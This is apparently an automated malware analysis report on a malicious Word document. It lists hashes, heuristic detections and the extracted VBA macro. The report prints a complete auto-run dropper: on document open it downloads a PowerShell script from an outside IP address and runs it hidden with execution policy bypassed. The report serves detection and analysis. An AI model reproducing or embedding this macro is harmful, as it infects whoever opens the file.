Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 a200b73faead7c36…

MALICIOUS

Office (OOXML) / .DOCX

116.1 KB Created: 2025-12-17 20:45:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-10
MD5: ac8f66373a121fa98e382fffe2cbfe8e SHA-1: da8f2986f1cda320741f0b4459283ee2f777dd76 SHA-256: a200b73faead7c36a1063af73f5a08d960ca247a7bc15a064ec3d58f3229a15b
350 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object, fso As Object, http As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            shell.Run "PowerShell -NoProfile -ExecutionPolicy Bypass -File """ & scriptPath & """", 0, True
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            stream.Write http.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://77.83.39.60/me/RAW.ps1 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1390 bytes
SHA-256: 4d7350e886595b38703f9d6f8c782dfd84104756f26b6bb3bba4a599789960f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim scriptUrl As String, scriptPath As String, tempDir As String
    Dim shell As Object, fso As Object, http As Object
    Dim stream As Object
    
    scriptUrl = "http://77.83.39.60/me/RAW.ps1"
    tempDir = "C:\Temp"
    scriptPath = tempDir & "\RAW.ps1"
    
    On Error Resume Next
    
    Set shell = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    
    If Not fso.FolderExists(tempDir) Then
        fso.CreateFolder tempDir
    End If
    
    http.Open "GET", scriptUrl, False
    http.Send
    
    If http.Status = 200 Then
        Set stream = CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 1
        stream.Write http.ResponseBody
        stream.SaveToFile scriptPath, 2
        stream.Close
        
        shell.Run "PowerShell -NoProfile -ExecutionPolicy Bypass -File """ & scriptPath & """", 0, True
    End If
End Sub

Attribute VB_Name = "NewMacros"
Sub t()
'
' t Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 8efd9df2dcc590b39e5dd4581c2c20652ebedd4c49689046c9002381f4df8839

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